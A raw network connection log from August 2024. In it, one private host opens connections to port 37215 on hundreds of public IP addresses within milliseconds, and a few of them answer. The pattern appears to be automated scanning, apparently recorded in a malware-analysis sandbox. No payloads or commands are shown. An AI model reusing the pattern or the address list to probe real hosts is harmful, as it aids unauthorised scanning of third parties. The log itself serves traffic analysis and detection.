Aug 1, 2024 15:34:58.034543991 CEST	42132	37215	192.168.2.14	210.71.47.173
Aug 1, 2024 15:34:58.034629107 CEST	37215	59778	157.66.58.1	192.168.2.14
Aug 1, 2024 15:34:58.034676075 CEST	59778	37215	192.168.2.14	157.66.58.1
Aug 1, 2024 15:34:58.035213947 CEST	46614	37215	192.168.2.14	221.120.194.104
Aug 1, 2024 15:34:58.035628080 CEST	37215	50872	41.124.168.112	192.168.2.14
Aug 1, 2024 15:34:58.035670996 CEST	50872	37215	192.168.2.14	41.124.168.112
Aug 1, 2024 15:34:58.035902977 CEST	37215	57040	41.139.143.29	192.168.2.14
Aug 1, 2024 15:34:58.035929918 CEST	37258	37215	192.168.2.14	102.39.195.141
Aug 1, 2024 15:34:58.035933971 CEST	57040	37215	192.168.2.14	41.139.143.29
Aug 1, 2024 15:34:58.036645889 CEST	35898	37215	192.168.2.14	32.132.7.31
Aug 1, 2024 15:34:58.036886930 CEST	37215	49210	186.22.144.161	192.168.2.14
Aug 1, 2024 15:34:58.036936998 CEST	49210	37215	192.168.2.14	186.22.144.161
Aug 1, 2024 15:34:58.037363052 CEST	56218	37215	192.168.2.14	190.251.100.176
Aug 1, 2024 15:34:58.037436008 CEST	37215	34712	157.57.103.130	192.168.2.14
Aug 1, 2024 15:34:58.037468910 CEST	34712	37215	192.168.2.14	157.57.103.130
Aug 1, 2024 15:34:58.038006067 CEST	37215	49734	41.149.139.9	192.168.2.14
Aug 1, 2024 15:34:58.038064003 CEST	49734	37215	192.168.2.14	41.149.139.9
Aug 1, 2024 15:34:58.038079023 CEST	59662	37215	192.168.2.14	41.73.44.185
Aug 1, 2024 15:34:58.038593054 CEST	37215	46126	157.196.129.192	192.168.2.14
Aug 1, 2024 15:34:58.038634062 CEST	46126	37215	192.168.2.14	157.196.129.192
Aug 1, 2024 15:34:58.038772106 CEST	42394	37215	192.168.2.14	41.6.79.92
Aug 1, 2024 15:34:58.039361000 CEST	37215	42132	210.71.47.173	192.168.2.14
Aug 1, 2024 15:34:58.039400101 CEST	42132	37215	192.168.2.14	210.71.47.173
Aug 1, 2024 15:34:58.039438963 CEST	54836	37215	192.168.2.14	41.54.8.114
Aug 1, 2024 15:34:58.040002108 CEST	37215	46614	221.120.194.104	192.168.2.14
Aug 1, 2024 15:34:58.040045023 CEST	46614	37215	192.168.2.14	221.120.194.104
Aug 1, 2024 15:34:58.040719032 CEST	37215	37258	102.39.195.141	192.168.2.14
Aug 1, 2024 15:34:58.040764093 CEST	37258	37215	192.168.2.14	102.39.195.141
Aug 1, 2024 15:34:58.041464090 CEST	37215	35898	32.132.7.31	192.168.2.14
Aug 1, 2024 15:34:58.041506052 CEST	35898	37215	192.168.2.14	32.132.7.31
Aug 1, 2024 15:34:58.042195082 CEST	50504	37215	192.168.2.14	197.196.206.55
Aug 1, 2024 15:34:58.042222023 CEST	37215	56218	190.251.100.176	192.168.2.14
Aug 1, 2024 15:34:58.042262077 CEST	56218	37215	192.168.2.14	190.251.100.176
Aug 1, 2024 15:34:58.042849064 CEST	51976	37215	192.168.2.14	194.193.18.127
Aug 1, 2024 15:34:58.042934895 CEST	37215	59662	41.73.44.185	192.168.2.14
Aug 1, 2024 15:34:58.042977095 CEST	59662	37215	192.168.2.14	41.73.44.185
Aug 1, 2024 15:34:58.043525934 CEST	52660	37215	192.168.2.14	41.29.127.52
Aug 1, 2024 15:34:58.043579102 CEST	37215	42394	41.6.79.92	192.168.2.14
Aug 1, 2024 15:34:58.043622017 CEST	42394	37215	192.168.2.14	41.6.79.92
Aug 1, 2024 15:34:58.044290066 CEST	43542	37215	192.168.2.14	197.237.2.174
Aug 1, 2024 15:34:58.044821024 CEST	37215	54836	41.54.8.114	192.168.2.14
Aug 1, 2024 15:34:58.044863939 CEST	54836	37215	192.168.2.14	41.54.8.114
Aug 1, 2024 15:34:58.044958115 CEST	38350	37215	192.168.2.14	157.72.40.80
Aug 1, 2024 15:34:58.045648098 CEST	35486	37215	192.168.2.14	157.182.153.106
Aug 1, 2024 15:34:58.046341896 CEST	48580	37215	192.168.2.14	63.87.52.92
Aug 1, 2024 15:34:58.047009945 CEST	44082	37215	192.168.2.14	157.23.212.95
Aug 1, 2024 15:34:58.047254086 CEST	37215	50504	197.196.206.55	192.168.2.14
Aug 1, 2024 15:34:58.047292948 CEST	50504	37215	192.168.2.14	197.196.206.55
Aug 1, 2024 15:34:58.047646046 CEST	37215	51976	194.193.18.127	192.168.2.14
Aug 1, 2024 15:34:58.047646999 CEST	44852	37215	192.168.2.14	157.195.63.88
Aug 1, 2024 15:34:58.047688961 CEST	51976	37215	192.168.2.14	194.193.18.127
Aug 1, 2024 15:34:58.048317909 CEST	46612	37215	192.168.2.14	157.130.88.220
Aug 1, 2024 15:34:58.048357964 CEST	37215	52660	41.29.127.52	192.168.2.14
Aug 1, 2024 15:34:58.048394918 CEST	52660	37215	192.168.2.14	41.29.127.52
Aug 1, 2024 15:34:58.048942089 CEST	55838	37215	192.168.2.14	166.129.216.186
Aug 1, 2024 15:34:58.049069881 CEST	37215	43542	197.237.2.174	192.168.2.14
Aug 1, 2024 15:34:58.049145937 CEST	43542	37215	192.168.2.14	197.237.2.174
Aug 1, 2024 15:34:58.049519062 CEST	58360	37215	192.168.2.14	44.107.91.32
Aug 1, 2024 15:34:58.049539089 CEST	38508	37215	192.168.2.14	157.138.68.130
Aug 1, 2024 15:34:58.049562931 CEST	37124	37215	192.168.2.14	8.77.197.97
Aug 1, 2024 15:34:58.049578905 CEST	42980	37215	192.168.2.14	135.126.90.169
Aug 1, 2024 15:34:58.049603939 CEST	47767	37215	192.168.2.14	41.125.175.119
Aug 1, 2024 15:34:58.049617052 CEST	47767	37215	192.168.2.14	169.58.213.52
Aug 1, 2024 15:34:58.049634933 CEST	47767	37215	192.168.2.14	157.121.215.142
Aug 1, 2024 15:34:58.049647093 CEST	47767	37215	192.168.2.14	41.52.215.85
Aug 1, 2024 15:34:58.049655914 CEST	47767	37215	192.168.2.14	82.116.139.160
Aug 1, 2024 15:34:58.049685955 CEST	47767	37215	192.168.2.14	197.88.245.59
Aug 1, 2024 15:34:58.049690962 CEST	47767	37215	192.168.2.14	41.64.157.89
Aug 1, 2024 15:34:58.049701929 CEST	47767	37215	192.168.2.14	157.52.39.90
Aug 1, 2024 15:34:58.049716949 CEST	47767	37215	192.168.2.14	157.196.70.246
Aug 1, 2024 15:34:58.049730062 CEST	47767	37215	192.168.2.14	197.57.88.125
Aug 1, 2024 15:34:58.049746037 CEST	47767	37215	192.168.2.14	197.82.36.239
Aug 1, 2024 15:34:58.049752951 CEST	47767	37215	192.168.2.14	41.91.123.73
Aug 1, 2024 15:34:58.049771070 CEST	47767	37215	192.168.2.14	41.28.20.27
Aug 1, 2024 15:34:58.049772978 CEST	37215	38350	157.72.40.80	192.168.2.14
Aug 1, 2024 15:34:58.049777985 CEST	47767	37215	192.168.2.14	44.185.0.157
Aug 1, 2024 15:34:58.049793005 CEST	47767	37215	192.168.2.14	107.149.239.1
Aug 1, 2024 15:34:58.049808025 CEST	38350	37215	192.168.2.14	157.72.40.80
Aug 1, 2024 15:34:58.049812078 CEST	47767	37215	192.168.2.14	41.4.254.184
Aug 1, 2024 15:34:58.049823999 CEST	47767	37215	192.168.2.14	157.55.116.173
Aug 1, 2024 15:34:58.049834013 CEST	47767	37215	192.168.2.14	197.215.49.120
Aug 1, 2024 15:34:58.049844027 CEST	47767	37215	192.168.2.14	41.185.152.245
Aug 1, 2024 15:34:58.049854994 CEST	47767	37215	192.168.2.14	41.70.247.100
Aug 1, 2024 15:34:58.049871922 CEST	47767	37215	192.168.2.14	157.17.1.228
Aug 1, 2024 15:34:58.049892902 CEST	47767	37215	192.168.2.14	41.113.216.82
Aug 1, 2024 15:34:58.049910069 CEST	47767	37215	192.168.2.14	19.145.5.222
Aug 1, 2024 15:34:58.049937010 CEST	47767	37215	192.168.2.14	41.253.207.136
Aug 1, 2024 15:34:58.049948931 CEST	47767	37215	192.168.2.14	203.94.61.115
Aug 1, 2024 15:34:58.049962044 CEST	47767	37215	192.168.2.14	68.0.81.20
Aug 1, 2024 15:34:58.049981117 CEST	47767	37215	192.168.2.14	66.156.73.237
Aug 1, 2024 15:34:58.049988031 CEST	47767	37215	192.168.2.14	197.224.129.118
Aug 1, 2024 15:34:58.050004005 CEST	47767	37215	192.168.2.14	157.106.54.160
Aug 1, 2024 15:34:58.050019026 CEST	47767	37215	192.168.2.14	41.157.106.162
Aug 1, 2024 15:34:58.050033092 CEST	47767	37215	192.168.2.14	197.255.40.203
Aug 1, 2024 15:34:58.050041914 CEST	47767	37215	192.168.2.14	197.113.81.148
Aug 1, 2024 15:34:58.050059080 CEST	47767	37215	192.168.2.14	157.181.223.139
Aug 1, 2024 15:34:58.050070047 CEST	47767	37215	192.168.2.14	98.82.168.244
Aug 1, 2024 15:34:58.050079107 CEST	47767	37215	192.168.2.14	44.77.58.180
Aug 1, 2024 15:34:58.050086021 CEST	47767	37215	192.168.2.14	197.83.25.177
Aug 1, 2024 15:34:58.050100088 CEST	47767	37215	192.168.2.14	41.2.62.147
Aug 1, 2024 15:34:58.050115108 CEST	47767	37215	192.168.2.14	157.91.246.246
Aug 1, 2024 15:34:58.050127029 CEST	47767	37215	192.168.2.14	157.90.89.6
Aug 1, 2024 15:34:58.050139904 CEST	47767	37215	192.168.2.14	197.127.165.110
Aug 1, 2024 15:34:58.050143957 CEST	47767	37215	192.168.2.14	41.191.132.216
Aug 1, 2024 15:34:58.050159931 CEST	47767	37215	192.168.2.14	197.121.194.218
Aug 1, 2024 15:34:58.050167084 CEST	47767	37215	192.168.2.14	157.98.134.211
Aug 1, 2024 15:34:58.050178051 CEST	47767	37215	192.168.2.14	197.160.38.240
Aug 1, 2024 15:34:58.050199986 CEST	47767	37215	192.168.2.14	41.79.224.118
Aug 1, 2024 15:34:58.050200939 CEST	47767	37215	192.168.2.14	118.147.89.129
Aug 1, 2024 15:34:58.050215006 CEST	47767	37215	192.168.2.14	157.239.149.213
Aug 1, 2024 15:34:58.050236940 CEST	47767	37215	192.168.2.14	18.233.13.67
Aug 1, 2024 15:34:58.050237894 CEST	47767	37215	192.168.2.14	197.205.194.24
Aug 1, 2024 15:34:58.050246000 CEST	47767	37215	192.168.2.14	157.225.205.202
Aug 1, 2024 15:34:58.050261974 CEST	47767	37215	192.168.2.14	197.242.163.116
Aug 1, 2024 15:34:58.050276995 CEST	47767	37215	192.168.2.14	197.107.232.97
Aug 1, 2024 15:34:58.050282001 CEST	47767	37215	192.168.2.14	41.45.167.141
Aug 1, 2024 15:34:58.050304890 CEST	47767	37215	192.168.2.14	157.88.117.172
Aug 1, 2024 15:34:58.050317049 CEST	47767	37215	192.168.2.14	41.116.75.57
Aug 1, 2024 15:34:58.050337076 CEST	47767	37215	192.168.2.14	197.65.108.30
Aug 1, 2024 15:34:58.050350904 CEST	47767	37215	192.168.2.14	212.190.57.96
Aug 1, 2024 15:34:58.050362110 CEST	47767	37215	192.168.2.14	41.96.145.99
Aug 1, 2024 15:34:58.050370932 CEST	47767	37215	192.168.2.14	157.12.156.65
Aug 1, 2024 15:34:58.050386906 CEST	47767	37215	192.168.2.14	157.12.108.240
Aug 1, 2024 15:34:58.050414085 CEST	47767	37215	192.168.2.14	157.247.36.52
Aug 1, 2024 15:34:58.050420046 CEST	47767	37215	192.168.2.14	197.121.57.225
Aug 1, 2024 15:34:58.050429106 CEST	47767	37215	192.168.2.14	157.132.71.173
Aug 1, 2024 15:34:58.050438881 CEST	37215	35486	157.182.153.106	192.168.2.14
Aug 1, 2024 15:34:58.050442934 CEST	47767	37215	192.168.2.14	41.137.205.74
Aug 1, 2024 15:34:58.050446987 CEST	47767	37215	192.168.2.14	125.247.115.64
Aug 1, 2024 15:34:58.050457954 CEST	47767	37215	192.168.2.14	197.191.33.129
Aug 1, 2024 15:34:58.050472975 CEST	35486	37215	192.168.2.14	157.182.153.106
Aug 1, 2024 15:34:58.050479889 CEST	47767	37215	192.168.2.14	157.168.134.231
Aug 1, 2024 15:34:58.050491095 CEST	47767	37215	192.168.2.14	41.108.225.40
Aug 1, 2024 15:34:58.050517082 CEST	47767	37215	192.168.2.14	197.154.223.242
Aug 1, 2024 15:34:58.050527096 CEST	47767	37215	192.168.2.14	45.92.12.80
Aug 1, 2024 15:34:58.050534010 CEST	47767	37215	192.168.2.14	41.48.148.177
Aug 1, 2024 15:34:58.050549030 CEST	47767	37215	192.168.2.14	80.107.166.82
Aug 1, 2024 15:34:58.050569057 CEST	47767	37215	192.168.2.14	2.233.87.191
Aug 1, 2024 15:34:58.050582886 CEST	47767	37215	192.168.2.14	41.52.120.7
Aug 1, 2024 15:34:58.050595999 CEST	47767	37215	192.168.2.14	197.16.114.102
Aug 1, 2024 15:34:58.050605059 CEST	47767	37215	192.168.2.14	41.89.31.71
Aug 1, 2024 15:34:58.050616026 CEST	47767	37215	192.168.2.14	157.168.51.50
Aug 1, 2024 15:34:58.050631046 CEST	47767	37215	192.168.2.14	41.233.214.196
Aug 1, 2024 15:34:58.050642014 CEST	47767	37215	192.168.2.14	41.229.81.160
Aug 1, 2024 15:34:58.050657988 CEST	47767	37215	192.168.2.14	114.84.21.38
Aug 1, 2024 15:34:58.050676107 CEST	47767	37215	192.168.2.14	197.127.161.143
Aug 1, 2024 15:34:58.050683975 CEST	47767	37215	192.168.2.14	106.163.137.105
Aug 1, 2024 15:34:58.050704002 CEST	47767	37215	192.168.2.14	157.165.188.148
Aug 1, 2024 15:34:58.050707102 CEST	47767	37215	192.168.2.14	41.74.231.89
Aug 1, 2024 15:34:58.050734043 CEST	47767	37215	192.168.2.14	41.56.36.10
Aug 1, 2024 15:34:58.050734997 CEST	47767	37215	192.168.2.14	46.203.164.151
Aug 1, 2024 15:34:58.050749063 CEST	47767	37215	192.168.2.14	41.229.239.179
Aug 1, 2024 15:34:58.050766945 CEST	47767	37215	192.168.2.14	157.32.51.249
Aug 1, 2024 15:34:58.050786018 CEST	47767	37215	192.168.2.14	157.63.216.221
Aug 1, 2024 15:34:58.050792933 CEST	47767	37215	192.168.2.14	197.228.171.36
Aug 1, 2024 15:34:58.050812006 CEST	47767	37215	192.168.2.14	161.151.213.58
Aug 1, 2024 15:34:58.050817966 CEST	47767	37215	192.168.2.14	157.27.194.23
Aug 1, 2024 15:34:58.050834894 CEST	47767	37215	192.168.2.14	208.8.183.194
Aug 1, 2024 15:34:58.050848007 CEST	47767	37215	192.168.2.14	125.225.95.55
Aug 1, 2024 15:34:58.050852060 CEST	47767	37215	192.168.2.14	41.24.31.127
Aug 1, 2024 15:34:58.050865889 CEST	47767	37215	192.168.2.14	157.89.65.138
Aug 1, 2024 15:34:58.050873041 CEST	47767	37215	192.168.2.14	191.125.78.193
Aug 1, 2024 15:34:58.050889969 CEST	47767	37215	192.168.2.14	100.252.103.55
Aug 1, 2024 15:34:58.050908089 CEST	47767	37215	192.168.2.14	91.252.54.120
Aug 1, 2024 15:34:58.050920010 CEST	47767	37215	192.168.2.14	41.84.21.46
Aug 1, 2024 15:34:58.050934076 CEST	47767	37215	192.168.2.14	197.75.199.195
Aug 1, 2024 15:34:58.050945044 CEST	47767	37215	192.168.2.14	147.191.79.16
Aug 1, 2024 15:34:58.050964117 CEST	47767	37215	192.168.2.14	197.62.156.140
Aug 1, 2024 15:34:58.050971985 CEST	47767	37215	192.168.2.14	157.219.98.19
Aug 1, 2024 15:34:58.050981045 CEST	47767	37215	192.168.2.14	197.125.178.115
Aug 1, 2024 15:34:58.050998926 CEST	47767	37215	192.168.2.14	41.49.111.213
Aug 1, 2024 15:34:58.051001072 CEST	47767	37215	192.168.2.14	157.53.30.186
Aug 1, 2024 15:34:58.051026106 CEST	47767	37215	192.168.2.14	197.212.133.243
Aug 1, 2024 15:34:58.051035881 CEST	47767	37215	192.168.2.14	197.23.159.50
Aug 1, 2024 15:34:58.051048040 CEST	47767	37215	192.168.2.14	197.156.116.195
Aug 1, 2024 15:34:58.051064014 CEST	47767	37215	192.168.2.14	41.94.135.61
Aug 1, 2024 15:34:58.051074028 CEST	47767	37215	192.168.2.14	58.248.163.171
Aug 1, 2024 15:34:58.051091909 CEST	47767	37215	192.168.2.14	200.108.203.195
Aug 1, 2024 15:34:58.051101923 CEST	47767	37215	192.168.2.14	157.44.4.136
Aug 1, 2024 15:34:58.051107883 CEST	47767	37215	192.168.2.14	41.63.31.12
Aug 1, 2024 15:34:58.051119089 CEST	47767	37215	192.168.2.14	41.228.33.211
Aug 1, 2024 15:34:58.051134109 CEST	47767	37215	192.168.2.14	157.37.239.222
Aug 1, 2024 15:34:58.051146030 CEST	47767	37215	192.168.2.14	196.225.244.156
Aug 1, 2024 15:34:58.051157951 CEST	47767	37215	192.168.2.14	157.66.197.74
Aug 1, 2024 15:34:58.051158905 CEST	37215	48580	63.87.52.92	192.168.2.14
Aug 1, 2024 15:34:58.051167011 CEST	47767	37215	192.168.2.14	157.94.115.44
Aug 1, 2024 15:34:58.051177979 CEST	47767	37215	192.168.2.14	157.100.85.156
Aug 1, 2024 15:34:58.051189899 CEST	47767	37215	192.168.2.14	8.168.250.255
Aug 1, 2024 15:34:58.051189899 CEST	48580	37215	192.168.2.14	63.87.52.92
Aug 1, 2024 15:34:58.051202059 CEST	47767	37215	192.168.2.14	41.38.181.108
Aug 1, 2024 15:34:58.051212072 CEST	47767	37215	192.168.2.14	157.164.17.192
Aug 1, 2024 15:34:58.051218033 CEST	47767	37215	192.168.2.14	41.85.61.54
Aug 1, 2024 15:34:58.051235914 CEST	47767	37215	192.168.2.14	34.214.141.25
Aug 1, 2024 15:34:58.051240921 CEST	47767	37215	192.168.2.14	197.143.50.107
Aug 1, 2024 15:34:58.051259041 CEST	47767	37215	192.168.2.14	197.183.29.85
Aug 1, 2024 15:34:58.051264048 CEST	47767	37215	192.168.2.14	197.122.92.13
Aug 1, 2024 15:34:58.051281929 CEST	47767	37215	192.168.2.14	143.168.137.235
Aug 1, 2024 15:34:58.051311016 CEST	47767	37215	192.168.2.14	41.49.20.76
Aug 1, 2024 15:34:58.051314116 CEST	47767	37215	192.168.2.14	101.107.3.199
Aug 1, 2024 15:34:58.051314116 CEST	47767	37215	192.168.2.14	157.107.85.170
Aug 1, 2024 15:34:58.051326990 CEST	47767	37215	192.168.2.14	157.142.158.108
Aug 1, 2024 15:34:58.051335096 CEST	47767	37215	192.168.2.14	157.225.94.19
Aug 1, 2024 15:34:58.051347017 CEST	47767	37215	192.168.2.14	80.200.121.68
Aug 1, 2024 15:34:58.051364899 CEST	47767	37215	192.168.2.14	157.170.219.246
Aug 1, 2024 15:34:58.051371098 CEST	47767	37215	192.168.2.14	157.212.103.225
Aug 1, 2024 15:34:58.051384926 CEST	47767	37215	192.168.2.14	197.221.32.60
Aug 1, 2024 15:34:58.051399946 CEST	47767	37215	192.168.2.14	157.218.24.13
Aug 1, 2024 15:34:58.051408052 CEST	47767	37215	192.168.2.14	178.238.175.34
Aug 1, 2024 15:34:58.051414967 CEST	47767	37215	192.168.2.14	197.253.151.124
Aug 1, 2024 15:34:58.051433086 CEST	47767	37215	192.168.2.14	197.10.15.163
Aug 1, 2024 15:34:58.051443100 CEST	47767	37215	192.168.2.14	157.200.170.208
Aug 1, 2024 15:34:58.051474094 CEST	47767	37215	192.168.2.14	157.54.77.9
Aug 1, 2024 15:34:58.051491022 CEST	47767	37215	192.168.2.14	157.26.67.215
Aug 1, 2024 15:34:58.051492929 CEST	47767	37215	192.168.2.14	118.160.2.151
Aug 1, 2024 15:34:58.051511049 CEST	47767	37215	192.168.2.14	41.131.236.241
Aug 1, 2024 15:34:58.051512957 CEST	47767	37215	192.168.2.14	41.11.5.143
Aug 1, 2024 15:34:58.051517010 CEST	47767	37215	192.168.2.14	197.1.184.71
Aug 1, 2024 15:34:58.051548958 CEST	47767	37215	192.168.2.14	197.117.126.25
Aug 1, 2024 15:34:58.051553011 CEST	47767	37215	192.168.2.14	197.81.128.136
Aug 1, 2024 15:34:58.051563978 CEST	47767	37215	192.168.2.14	197.170.243.36
Aug 1, 2024 15:34:58.051575899 CEST	47767	37215	192.168.2.14	41.22.204.61
Aug 1, 2024 15:34:58.051590919 CEST	47767	37215	192.168.2.14	197.29.84.225
Aug 1, 2024 15:34:58.051601887 CEST	47767	37215	192.168.2.14	197.26.4.4
Aug 1, 2024 15:34:58.051614046 CEST	47767	37215	192.168.2.14	41.234.95.81
Aug 1, 2024 15:34:58.051629066 CEST	47767	37215	192.168.2.14	197.63.209.100
Aug 1, 2024 15:34:58.051640034 CEST	47767	37215	192.168.2.14	8.83.79.13
Aug 1, 2024 15:34:58.051649094 CEST	47767	37215	192.168.2.14	197.187.156.124
Aug 1, 2024 15:34:58.051659107 CEST	47767	37215	192.168.2.14	41.10.13.32
Aug 1, 2024 15:34:58.051671028 CEST	47767	37215	192.168.2.14	197.231.23.128
Aug 1, 2024 15:34:58.051675081 CEST	47767	37215	192.168.2.14	197.221.32.36
Aug 1, 2024 15:34:58.051683903 CEST	47767	37215	192.168.2.14	41.43.129.128
Aug 1, 2024 15:34:58.051692009 CEST	47767	37215	192.168.2.14	197.238.222.163
Aug 1, 2024 15:34:58.051727057 CEST	47767	37215	192.168.2.14	129.37.191.133
Aug 1, 2024 15:34:58.051736116 CEST	47767	37215	192.168.2.14	197.59.129.183
Aug 1, 2024 15:34:58.051748991 CEST	47767	37215	192.168.2.14	140.26.111.223
Aug 1, 2024 15:34:58.051760912 CEST	47767	37215	192.168.2.14	104.65.171.109
Aug 1, 2024 15:34:58.051763058 CEST	47767	37215	192.168.2.14	197.170.166.168
Aug 1, 2024 15:34:58.051780939 CEST	47767	37215	192.168.2.14	197.156.170.223
Aug 1, 2024 15:34:58.051780939 CEST	47767	37215	192.168.2.14	41.76.64.133
Aug 1, 2024 15:34:58.051808119 CEST	47767	37215	192.168.2.14	157.64.196.165
Aug 1, 2024 15:34:58.051821947 CEST	47767	37215	192.168.2.14	197.39.160.230
Aug 1, 2024 15:34:58.051821947 CEST	47767	37215	192.168.2.14	157.94.158.81
Aug 1, 2024 15:34:58.051829100 CEST	47767	37215	192.168.2.14	41.219.180.37
Aug 1, 2024 15:34:58.051866055 CEST	47767	37215	192.168.2.14	157.236.77.233
Aug 1, 2024 15:34:58.051878929 CEST	47767	37215	192.168.2.14	123.26.126.109
Aug 1, 2024 15:34:58.051893950 CEST	47767	37215	192.168.2.14	157.57.147.129
Aug 1, 2024 15:34:58.051906109 CEST	47767	37215	192.168.2.14	41.203.143.150
Aug 1, 2024 15:34:58.051906109 CEST	47767	37215	192.168.2.14	157.159.193.210
Aug 1, 2024 15:34:58.051919937 CEST	47767	37215	192.168.2.14	140.23.212.138
Aug 1, 2024 15:34:58.051928043 CEST	47767	37215	192.168.2.14	41.13.136.121
Aug 1, 2024 15:34:58.051928997 CEST	47767	37215	192.168.2.14	157.95.111.196
Aug 1, 2024 15:34:58.051939964 CEST	47767	37215	192.168.2.14	157.69.195.1
Aug 1, 2024 15:34:58.051953077 CEST	47767	37215	192.168.2.14	157.252.233.186
Aug 1, 2024 15:34:58.051976919 CEST	47767	37215	192.168.2.14	34.176.211.15
Aug 1, 2024 15:34:58.051980972 CEST	47767	37215	192.168.2.14	39.12.170.103
Aug 1, 2024 15:34:58.051990032 CEST	47767	37215	192.168.2.14	157.41.80.145
Aug 1, 2024 15:34:58.051991940 CEST	47767	37215	192.168.2.14	41.169.14.215
Aug 1, 2024 15:34:58.052000046 CEST	47767	37215	192.168.2.14	197.198.253.95
Aug 1, 2024 15:34:58.052015066 CEST	47767	37215	192.168.2.14	41.93.99.146
Aug 1, 2024 15:34:58.052045107 CEST	47767	37215	192.168.2.14	130.231.171.152
Aug 1, 2024 15:34:58.052046061 CEST	47767	37215	192.168.2.14	208.209.185.254
Aug 1, 2024 15:34:58.052053928 CEST	47767	37215	192.168.2.14	41.208.48.139
Aug 1, 2024 15:34:58.052079916 CEST	47767	37215	192.168.2.14	157.208.147.0
Aug 1, 2024 15:34:58.052079916 CEST	47767	37215	192.168.2.14	194.66.244.134
Aug 1, 2024 15:34:58.052105904 CEST	37215	44082	157.23.212.95	192.168.2.14
Aug 1, 2024 15:34:58.052124977 CEST	47767	37215	192.168.2.14	81.2.160.207
Aug 1, 2024 15:34:58.052144051 CEST	47767	37215	192.168.2.14	157.124.128.158
Aug 1, 2024 15:34:58.052145004 CEST	44082	37215	192.168.2.14	157.23.212.95
Aug 1, 2024 15:34:58.052166939 CEST	47767	37215	192.168.2.14	41.71.181.60
Aug 1, 2024 15:34:58.052175045 CEST	47767	37215	192.168.2.14	157.168.227.15
Aug 1, 2024 15:34:58.052175045 CEST	47767	37215	192.168.2.14	197.81.206.103
Aug 1, 2024 15:34:58.052186966 CEST	47767	37215	192.168.2.14	49.20.107.148
Aug 1, 2024 15:34:58.052206039 CEST	47767	37215	192.168.2.14	41.250.228.248
Aug 1, 2024 15:34:58.052215099 CEST	47767	37215	192.168.2.14	197.190.184.39
Aug 1, 2024 15:34:58.052251101 CEST	47767	37215	192.168.2.14	155.149.60.120
Aug 1, 2024 15:34:58.052251101 CEST	47767	37215	192.168.2.14	197.16.138.217
Aug 1, 2024 15:34:58.052252054 CEST	47767	37215	192.168.2.14	197.187.28.84
Aug 1, 2024 15:34:58.052283049 CEST	47767	37215	192.168.2.14	41.64.107.106
Aug 1, 2024 15:34:58.052287102 CEST	47767	37215	192.168.2.14	41.124.99.214
Aug 1, 2024 15:34:58.052288055 CEST	47767	37215	192.168.2.14	41.234.222.114
Aug 1, 2024 15:34:58.052289963 CEST	47767	37215	192.168.2.14	197.157.145.243
Aug 1, 2024 15:34:58.052298069 CEST	47767	37215	192.168.2.14	41.217.157.104
Aug 1, 2024 15:34:58.052316904 CEST	47767	37215	192.168.2.14	31.194.172.233
Aug 1, 2024 15:34:58.052340031 CEST	47767	37215	192.168.2.14	157.183.99.255
Aug 1, 2024 15:34:58.052345037 CEST	47767	37215	192.168.2.14	197.150.124.20
Aug 1, 2024 15:34:58.052354097 CEST	47767	37215	192.168.2.14	41.157.253.23
Aug 1, 2024 15:34:58.052365065 CEST	47767	37215	192.168.2.14	197.144.217.252
Aug 1, 2024 15:34:58.052393913 CEST	47767	37215	192.168.2.14	157.44.211.209
Aug 1, 2024 15:34:58.052397966 CEST	47767	37215	192.168.2.14	41.173.95.160
Aug 1, 2024 15:34:58.052398920 CEST	47767	37215	192.168.2.14	197.17.184.74
Aug 1, 2024 15:34:58.052400112 CEST	47767	37215	192.168.2.14	41.219.42.46
Aug 1, 2024 15:34:58.052412987 CEST	47767	37215	192.168.2.14	39.211.206.84
Aug 1, 2024 15:34:58.052428007 CEST	47767	37215	192.168.2.14	197.94.246.102
Aug 1, 2024 15:34:58.052457094 CEST	47767	37215	192.168.2.14	206.47.202.159
Aug 1, 2024 15:34:58.052460909 CEST	47767	37215	192.168.2.14	197.192.98.90
Aug 1, 2024 15:34:58.052468061 CEST	47767	37215	192.168.2.14	41.230.118.212
Aug 1, 2024 15:34:58.052488089 CEST	47767	37215	192.168.2.14	197.60.187.26
Aug 1, 2024 15:34:58.052493095 CEST	37215	44852	157.195.63.88	192.168.2.14
Aug 1, 2024 15:34:58.052495003 CEST	47767	37215	192.168.2.14	157.66.4.172
Aug 1, 2024 15:34:58.052505970 CEST	47767	37215	192.168.2.14	203.174.189.69
Aug 1, 2024 15:34:58.052525997 CEST	44852	37215	192.168.2.14	157.195.63.88
Aug 1, 2024 15:34:58.052527905 CEST	47767	37215	192.168.2.14	41.235.235.26
Aug 1, 2024 15:34:58.052544117 CEST	47767	37215	192.168.2.14	197.187.59.199
Aug 1, 2024 15:34:58.052551985 CEST	47767	37215	192.168.2.14	223.221.147.77
Aug 1, 2024 15:34:58.052575111 CEST	47767	37215	192.168.2.14	157.231.75.228
Aug 1, 2024 15:34:58.052581072 CEST	47767	37215	192.168.2.14	197.159.193.229
Aug 1, 2024 15:34:58.052603006 CEST	47767	37215	192.168.2.14	209.2.36.16
Aug 1, 2024 15:34:58.052607059 CEST	47767	37215	192.168.2.14	41.211.153.237
Aug 1, 2024 15:34:58.052618980 CEST	47767	37215	192.168.2.14	197.139.220.194
Aug 1, 2024 15:34:58.052627087 CEST	47767	37215	192.168.2.14	135.118.166.102
Aug 1, 2024 15:34:58.052649021 CEST	47767	37215	192.168.2.14	197.199.140.102
Aug 1, 2024 15:34:58.052674055 CEST	47767	37215	192.168.2.14	197.131.78.23
Aug 1, 2024 15:34:58.052680016 CEST	47767	37215	192.168.2.14	41.190.136.23
Aug 1, 2024 15:34:58.052694082 CEST	47767	37215	192.168.2.14	197.15.28.195
Aug 1, 2024 15:34:58.052721977 CEST	47767	37215	192.168.2.14	197.166.48.68
Aug 1, 2024 15:34:58.052726030 CEST	47767	37215	192.168.2.14	222.147.48.10
Aug 1, 2024 15:34:58.052727938 CEST	47767	37215	192.168.2.14	138.183.23.140
Aug 1, 2024 15:34:58.052738905 CEST	47767	37215	192.168.2.14	197.41.68.240
Aug 1, 2024 15:34:58.052767992 CEST	47767	37215	192.168.2.14	157.14.212.154
Aug 1, 2024 15:34:58.052772999 CEST	47767	37215	192.168.2.14	157.54.41.18
Aug 1, 2024 15:34:58.052791119 CEST	47767	37215	192.168.2.14	41.246.58.70
Aug 1, 2024 15:34:58.052792072 CEST	47767	37215	192.168.2.14	77.133.66.205
Aug 1, 2024 15:34:58.052809954 CEST	47767	37215	192.168.2.14	197.89.114.139
Aug 1, 2024 15:34:58.052835941 CEST	47767	37215	192.168.2.14	212.236.1.28
Aug 1, 2024 15:34:58.052844048 CEST	47767	37215	192.168.2.14	97.140.141.241
Aug 1, 2024 15:34:58.052845001 CEST	47767	37215	192.168.2.14	41.200.108.82
